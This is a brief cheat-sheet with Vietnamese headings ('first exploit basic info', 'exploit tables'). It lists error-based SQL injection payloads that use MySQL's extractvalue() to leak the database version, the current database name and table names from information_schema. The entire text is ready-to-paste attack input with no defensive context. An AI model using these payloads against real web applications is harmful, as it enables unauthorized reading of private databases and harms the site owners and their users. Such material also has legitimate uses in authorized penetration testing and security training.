-Đầu tiên khai thác basic info"
and extractvalue(rand(),concat(0x0a,version()))-- -
and extractvalue(rand(),concat(0x0a,database()))-- -
-Khai thác tables"
and extractvalue(rand(),concat(0x0a,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)))-- -